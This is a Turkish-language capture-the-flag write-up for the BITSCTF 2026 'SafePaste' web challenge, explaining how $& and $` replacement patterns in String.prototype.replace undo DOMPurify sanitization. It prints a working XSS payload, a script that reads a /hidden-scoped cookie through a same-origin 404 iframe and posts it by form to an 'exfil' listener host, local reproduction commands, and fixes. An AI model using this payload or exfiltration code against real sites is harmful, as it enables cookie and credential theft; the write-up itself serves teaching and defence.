BITSCTF 2026 — SafePaste Writeup
Bir paste sitesi girdiyi DOMPurify ile temizleyip sonucu String.prototype.replace'e veriyor: $& ve $` replacement pattern'leri sanitizer'ı atlayarak canlı bir iframe sokuyor ve /hidden kapsamlı flag çerezi aynı origin'deki 404 frame üzerinden okunuyor.
BITSCTF 2026 — SafePaste
"SafePaste" (Web), yönetici botu bulunan küçük bir Express + TypeScript paste sitesi. README tek satır — "Yet another paste challenge?" — ve isim tam da şaka: kod DOMPurify çalıştırıp güvende olduğunu sanıyor. İşin ilginç tarafı işlemlerin sırası. Girdi temizleniyor, saklanıyor ve sonra String.prototype.replace("{paste}", content) ile sayfa şablonuna yerleştiriliyor. Bu iki adım birleşince bir mutation XSS çıkıyor: sanitizer bir dizeyi inceliyor, replace onu yeniden yazıyor ve ancak ondan sonra tarayıcı parse ediyor.
- Etkinlik: BITSCTF 2026
- Kategori: Web
- Flag formatı:
BITSCTF{...}
1. Uygulama
Tüm backend tek dosyada. İlgili rotalar:
app.post("/create", (req, res) => {
const content = req.body.content;
const id = uuidv4();
const clean = DOMPurify.sanitize(content); // (1) temizle
pastes.set(id, clean);
res.redirect(`/paste/${id}`);
});
app.get("/paste/:id", (req, res) => {
const content = pastes.get(req.params.id);
const html = pasteTemplate.replace("{paste}", content); // (2) yerleştir
res.type("html").send(html);
});
app.get("/hidden", (req, res) => {
if (req.query.secret === ADMIN_SECRET) return res.send("Welcome, admin!");
res.socket?.destroy();
});Her yanıt bir CSP başlığı taşıyor:
Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; default-src 'self'script-src inline'ı ve eval'i serbest bırakıyor; yani markup'ı bir kez ele geçirdikten sonra kod çalıştırmak zor değil — zor olan markup'ı DOMPurify'dan geçirmek. default-src 'self' harici bir host'a fetch/img/XHR'i engelliyor, ama form-action'ı kapsamıyor; bunu akılda tutmak gerek.
Bot flag çerezini ayarlayıp bildirilen URL'i ziyaret ediyor:
await page.setCookie({
name: "FLAG", value: FLAG,
domain: APP_HOST, // "localhost"
path: "/hidden", // /hidden'a scope'lu
});
await page.goto(url, { waitUntil: "networkidle2", timeout: 5000 });
await new Promise((r) => setTimeout(r, 15000));/report yalnızca hostname'i localhost ya da APP_HOST olan bir URL kabul ediyor; yani hedef SSRF değil, doğrudan uygulamanın kendi origin'inde, FLAG çerezinin bulunduğu yerde XSS.
2. Hata DOMPurify'da değil
İlk aklıma DOMPurify CVE'si geldi. Repodaki package-lock.json, birkaç 2026 rawtext/SAFE_FOR_XML bulgusunun etkilediği aralıkta olan dompurify@3.3.1'i pinliyor (CVE-2026-0540, CVE-2026-3126 / GHSA-h8r8-wccr-v5f2). Bir süre closer ve attribute numaralarını fuzz'ladım ve hiçbir şey çıkmadı; iki nedenden ötürü:
- Uygulama paste'i düz bir
<div class="content">{paste}</div>içine sarıyor,<style>/<textarea>/<xmp>gibi bir rawtext sarmalayıcıya değil. Rawtext elementi CVE'leri uygulamanın hiç vermediği bir sarmalayıcı gerektiriyor. DockerfileCOPY package.json ./sonranpm installyapıyor; yani repodaki lockfile yok sayılıyor ve konteyner güncel birdompurify@3.4.17çözüyor.
Asıl kusur uygulama seviyesinde ve sürümden bağımsız: String.prototype.replace, replacement string'i içindeki $&, $`, $' ve $$ karakterlerini özel sayıyor ve buradaki replacement string saldırgan kontrolünde. Sunucunun replace'e verdiği temizlenmiş değeri dökümleyince doğruluyorum:
CLEAN: "<img alt=\"$&$`<iframe\tsrc=/hidden/lol\t\tonload=eval(atob('x'))\">\n"$& ve $` hâlâ orada. Temizlikten sağ çıkıyorlar, çünkü sadece attribute metni gibiler.
3. Zincir
Tek bir paste payload'ın tamamı:
<img alt=$&$`<iframe	src=/hidden/lol		onload=eval(atob('...'))//>
</iframe>Adım 1 — DOMPurify ne görüyor. <img>, alt tırnaksız. 	 bir karakter referansı, boşluk değil; bu yüzden HTML tokenizer onları attribute metni olarak okumaya devam ediyor ve ilk gerçek > işareti <img>'i kapatıyor. DOMPurify böylece tek bir zararsız <img> elementi görüyor; tüm <iframe …> sadece alt değerinin parçası. Çıktıda <img alt="…"> olarak yeniden serileştiriyor, &→& kaçırıyor, 	→ gerçek TAB'a çözüyor ve baştaki boş </iframe>'i atıyor. Üstteki CLEAN: dökümü tam bu dize — ne onload, ne iframe elementi; sanitizer'ın sıyıracağı hiçbir şey yok.
Adım 2 — replace onu yeniden yazıyor. Bu dizeyi yerleştirirken pattern'ler açılıyor: $& eşleşmeye ({paste}, yedi karakter) ve $` eşleşmeden önceki her şeye — yani tüm <!DOCTYPE html> … <div class="content"> ön ekine — dönüşüyor. Ön ek, dizenin ortasına yeniden giriyor ve içindeki " ile > karakterleri tarayıcının tokenizer durumunu çeviriyor. DOMPurify'ın bir alt attribute değeri olarak gördüğü şey, tarayıcıda, öznitelikleri çözülen TAB'larla ayrılmış canlı bir <iframe> haline geliyor. Tarayıcının parse ettiği son dize (kesit):
<div class="content"><img alt="{paste}amp;<!DOCTYPE html>
...
<div class="content"><iframe src=/hidden/lol onload=eval(atob('...'))//">Adım 3 — sondaki tırnak. Element <img alt="…"> olarak yeniden serileştirildiği için DOMPurify'ın kapatan " işareti tam onload=eval(atob('...'))'den sonra düşüyor ve eval(atob('...'))" — bir JavaScript söz dizimi hatası — üretiyor. Bunu headless sayfa dökümüyle doğruladım; iframe canlıydı ve /hidden/lol'ü yüklüyordu, ama handler ölüyordu:
REQ: GET http://localhost:3000/hidden/lol
PAGEERROR: Invalid or unexpected token
INFO: { "iframeCount": 1, "iframes": [{ "src": "/hidden/lol", "onload": "eval(atob('CmNvbnN0…" }] }Handler'ın sonuna // eklemek (onload=eval(atob('...'))//) başıboş tırnağı satır yorumuna çeviriyor (//") ve handler çalışıyor.
4. Path'e scope'lu, kendini yok eden bir çerezi okumak
Flag çerezi path=/hidden ile scope'lu. /hidden'a yanlış ya da eksik secret ile gidilince res.socket.destroy() çağrılıyor: bağlantı kopuyor ve tarayıcı, okuyamayacağın cross-origin bir hata dokümanı gösteriyor. Ama çerez, /hidden/ kapsamındaki her yola ekleniyor. /hidden/lol gibi bir yol kapsama uyuyor, düz 404 dönüyor ve hâlâ aynı origin — dolayısıyla bir iframe içinde yükleyince parent onun document.cookie'sini okuyabiliyor. Enjekte edilen onload'un çalıştırdığı handler:
const iframe = document.createElement('iframe');
iframe.src = '/hidden/lol';
iframe.onload = () => {
const form = document.createElement('form');
form.method = 'POST';
form.action = 'http://exfil:8000/';
const input = document.createElement('input');
input.name = 'flag';
input.value = frames[1].document.cookie; // /hidden kapsamlı frame'den FLAG=...
form.appendChild(input);
document.body.appendChild(form);
form.submit();
};
document.body.appendChild(iframe);Sızdırma kanalı bilerek bir form POST. CSP default-src 'self'; bu connect-src/img-src'yi yönetiyor ama form-action'ı yönetmiyor; yani exfil'e fetch/Image() engelleniyor, POST ise geçiyor.
5. Yeniden üretmek
Servisi ( Dockerfile Chromium kuruyor ve PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium ayarlıyor, böylece konteyner içindeki bot arm64'te de çalışıyor) ve bir listener'ı ayağa kaldır:
docker network create tbnet
docker build -t safepaste ./SafePaste
docker run -d --name safe --network tbnet -p 5060:3000 \
-e APP_HOST=localhost -e APP_PORT=3000 \
-e FLAG='BITSCTF{fake_flag_for_local_testing}' \
-e ADMIN_SECRET=fake_admin_secret safepaste
docker run -d --name exfil --network tbnet python:3.11-slim python -u /exfil.pyPaste'i oluştur ve bot'a bildir (botun kabul ettiği URL localhost ve bot konteynerin içinde çalışıyor):
create -> 302 /paste/98c25ff5-e86a-46c3-bb34-c986e82e2d52
bot url -> http://localhost:3000/paste/98c25ff5-e86a-46c3-bb34-c986e82e2d52
Admin will review your paste shortly...Listener flag'i alıyor:
HIT POST / :: flag=FLAG%3DBITSCTF%7Bfake_flag_for_local_testing%7Dbu da flag=FLAG=BITSCTF{fake_flag_for_local_testing} olarak çözülüyor — aynı origin'deki frame'in okuduğu çerez değeri.
6. Düzeltmek
- HTML'i
String.prototype.replaceve saldırgan girdisiyle kurma.$pattern'leri ($&,$`,$',$$) replacement'i yeniden yazar. Gerçek bir template engine kullan ya da pattern genişlemesini bir fonksiyon vererek kapat:template.replace('{paste}', () => content). - Sanitize'ı son doküman üzerinde yap, ara bir dize üzerinde değil. Dize sanitize'dan sonra mutasyona uğrarsa sanitizer'ın sonucu anlamsızlaşır.
- Gizli bir çerezi, hata sayfası da döndüğün bir path'e scope'lama.
/hidden/altındaki her aynı-origin sayfa onu okuyabilir;FLAGadı yalnızca kullanıcıdan saklar, script'ten değil.
7. Flag
BITSCTF{fake_flag_for_local_testing} # yerel çalıştırma; gerçek flag BITSCTF{...}Ne düşünüyorsun?
Tepki bırakarak geri bildirim ver